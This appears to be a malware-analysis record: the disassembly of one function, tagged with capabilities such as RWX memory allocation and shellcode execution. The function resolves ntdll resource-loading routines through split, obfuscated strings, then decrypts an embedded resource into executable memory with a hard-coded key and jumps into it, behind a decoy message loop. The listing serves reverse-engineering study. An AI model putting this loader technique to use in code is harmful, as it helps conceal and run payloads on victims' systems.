Function at 0x401fe7
Capabilities:
Allocate or change rwx memory
Create directory
Execute shellcode via indirect call

Disassembly:
push ebp
lea ebp, [esp - 0x68]
sub esp, 0x18c
mov eax, dword [0x4130b0]
push esi
xor esi, esi
push esi
push str.C:WindowsMicrosoft.NET
mov dword [ebp + 0x64], eax
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
test eax, eax
je 0x402014
xor eax, eax
jmp 0x40232d
push ebx
push edi
push str.LdrFin
lea ecx, [ebp - 0x44]
mov dword [ebp - 0xf8], esi
mov dword [ebp - 0xf4], esi
mov dword [ebp - 0x108], 0xa
mov dword [ebp - 0x104], 0x1e55
mov dword [ebp - 0x100], 0x411
call fcn.00401f73
push str.dReso
lea ecx, [ebp - 0x98]
call fcn.00401f73
push str.urce_U
lea ecx, [ebp - 0xb4]
call fcn.00401f73
lea eax, [ebp - 0xb4]
push eax
lea eax, [ebp - 0x98]
push eax
lea eax, [ebp - 0x44]
push eax
lea eax, [ebp - 0x124]
push eax
call fcn.00401f95
add esp, 0xc
push eax
lea eax, [ebp - 0xec]
push eax
call fcn.00401f95
add esp, 0xc
xor ebx, ebx
push esi
inc ebx
push ebx
lea ecx, [ebp - 0x124]
call fcn.004017df
push 0x40f288
lea ecx, [ebp - 0x7c]
call fcn.00401f73
push str.Acces
lea ecx, [ebp - 0xc]
call fcn.00401f73
push str.sResource
lea ecx, [ebp + 0x10]
call fcn.00401f73
lea eax, [ebp + 0x10]
push eax
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 0x7c]
push eax
lea eax, [ebp - 0x124]
push eax
call fcn.00401f95
add esp, 0xc
push eax
lea eax, [ebp - 0xd0]
push eax
call fcn.00401f95
add esp, 0xc
push esi
push ebx
lea ecx, [ebp - 0x124]
call fcn.004017df
push str.ntdll.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push str.LdrAcce
lea ecx, [ebp + 0x2c]
mov dword [ebp - 0xf0], eax
call fcn.00401f73
push str.ssReso
lea ecx, [ebp - 0x28]
call fcn.00401f73
push str.urce
lea ecx, [ebp - 0x60]
call fcn.00401f73
lea eax, [ebp - 0x60]
push eax
lea eax, [ebp - 0x28]
push eax
lea eax, [ebp + 0x2c]
push eax
lea eax, [ebp - 0x124]
push eax
call fcn.00401f95
add esp, 0xc
push eax
lea eax, [ebp + 0x48]
push eax
call fcn.00401f95
add esp, 0xc
push esi
push ebx
lea ecx, [ebp - 0x124]
call fcn.004017df
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.LdrFindResource_U
push dword [ebp - 0xf0]
call edi
cmp dword [ebp + 0x60], 0x10
mov dword [0x413fe4], eax
mov eax, dword [ebp + 0x4c]
jae 0x40219e
lea eax, [ebp + 0x4c]
push eax
push dword [ebp - 0xf0]
call edi
mov dword [0x413fe0], eax
lea eax, [ebp - 0xfc]
push eax
push 3
lea eax, [ebp - 0x108]
push eax
mov edi, 0x400000
push edi
call dword [0x413fe4]
test eax, eax
jl 0x4021e7
lea eax, [ebp - 0xf4]
push eax
lea eax, [ebp - 0xf8]
push eax
push dword [ebp - 0xfc]
push edi
call dword [0x413fe0]
push 0x40
push 0x1000
push dword [ebp - 0xf4]
push esi
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
push dword [ebp - 0xf4]
mov edi, eax
push dword [ebp - 0xf8]
push edi
call fcn.004023d0
lea eax, [ebp - 0xee]
push eax
push 0x42
push str.RWUuW5gS_hfwK_yb1mgCYBZUnRIWTAiznpY_TjJh_zyRUJgTvI___xfQ_sN
call fcn.00401468
lea eax, [ebp - 0xee]
push eax
push dword [ebp - 0xf4]
push edi
call fcn.00401e25
add esp, 0x24
call edi
push dword [ebp + 0x7c]
push dword [ebp + 0x70]
call fcn.00401784
test eax, eax
pop ecx
pop ecx
jne 0x40224f
xor edi, edi
jmp 0x4022a5
push 0x6d
push dword [ebp + 0x70]
call dword [sym.imp.USER32.dll_LoadAcceleratorsA]
mov ebx, dword [sym.imp.USER32.dll_GetMessageA]
mov dword [ebp - 0xf0], eax
mov edi, 0x4140c8
jmp 0x402292
push edi
push dword [ebp - 0xf0]
push dword [0x4140c8]
call dword [sym.imp.USER32.dll_TranslateAcceleratorA]
test eax, eax
jne 0x402292
push edi
call dword [sym.imp.USER32.dll_TranslateMessage]
push edi
call dword [sym.imp.USER32.dll_DispatchMessageA]
push esi
push esi
push esi
push edi
call ebx
test eax, eax
jne 0x40226d
mov edi, dword [0x4140d0]
xor ebx, ebx
inc ebx
push esi
push ebx
lea ecx, [ebp + 0x48]
call fcn.004017df
push esi
push ebx
lea ecx, [ebp - 0x60]
call fcn.004017df
push esi
push ebx
lea ecx, [ebp - 0x28]
call fcn.004017df
push esi
push ebx
lea ecx, [ebp + 0x2c]
call fcn.004017df
push esi
push ebx
lea ecx, [ebp - 0xd0]
call fcn.004017df
push esi
push ebx
lea ecx, [ebp + 0x10]
call fcn.004017df
push esi
push ebx
lea ecx, [ebp - 0xc]
call fcn.004017df
push esi
push ebx
lea ecx, [ebp - 0x7c]
call fcn.004017df
push esi
push ebx
lea ecx, [ebp - 0xec]
call fcn.004017df
push esi
push ebx
lea ecx, [ebp - 0xb4]
call fcn.004017df
push esi
push ebx
lea ecx, [ebp - 0x98]
call fcn.004017df
push esi
push ebx
lea ecx, [ebp - 0x44]
call fcn.004017df
mov eax, edi
pop edi
pop ebx
mov ecx, dword [ebp + 0x64]
pop esi
call fcn.00402b41
add ebp, 0x68
leave
ret 0x10